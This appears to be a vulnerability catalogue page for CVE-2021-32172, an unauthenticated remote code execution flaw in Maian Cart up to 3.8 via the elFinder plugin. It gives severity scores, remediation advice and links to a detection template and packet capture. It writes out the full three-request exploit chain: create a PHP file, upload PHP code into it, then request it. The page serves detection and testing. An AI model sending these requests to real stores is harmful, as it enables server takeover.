🔙 목록으로 돌아가기

CVE-2021-32172: Maian Cart <=3.8 - Remote Code Execution

TitleMaian Cart <=3.8 - Remote Code Execution
Authorpdteam
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
RemediationUpgrade to a patched version of Maian Cart (>=3.8) to mitigate this vulnerability.
CVSS Score9.8
EPSS Score0.70441
CVE IDCVE-2021-32172
CWE IDCWE-862
Tags cve2021 cve rce unauth maian intrusive maianscriptworld vkev vuln

🔍 Vulnerability Description

Maian Cart 3.0 to 3.8 via the elFinder file manager plugin contains a remote code execution vulnerability.

🌐 HTTP Request

GET /admin/index.php?p=ajax-ops&op=elfinder&cmd=mkfile&name=38FKfmX4hZt3A9xhUiXt7ypzYnc.php&target=l1_Lw HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept: */*
Accept-Encoding: gzip
POST /admin/index.php?p=ajax-ops&op=elfinder HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/601.1.56 (KHTML, like Gecko) Version/9.0 Safari/601.1.56
Connection: close
Content-Length: 94
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip

cmd=put&target=eStdzF&content=%3c%3fphp%20echo%20%2238FKfpuhSyAplzuQxiu0mESAdcZ%22%3b%20%3f%3e
GET /product-downloads/38FKfmX4hZt3A9xhUiXt7ypzYnc.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Connection: close
Accept: */*
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-32172.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-32172.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A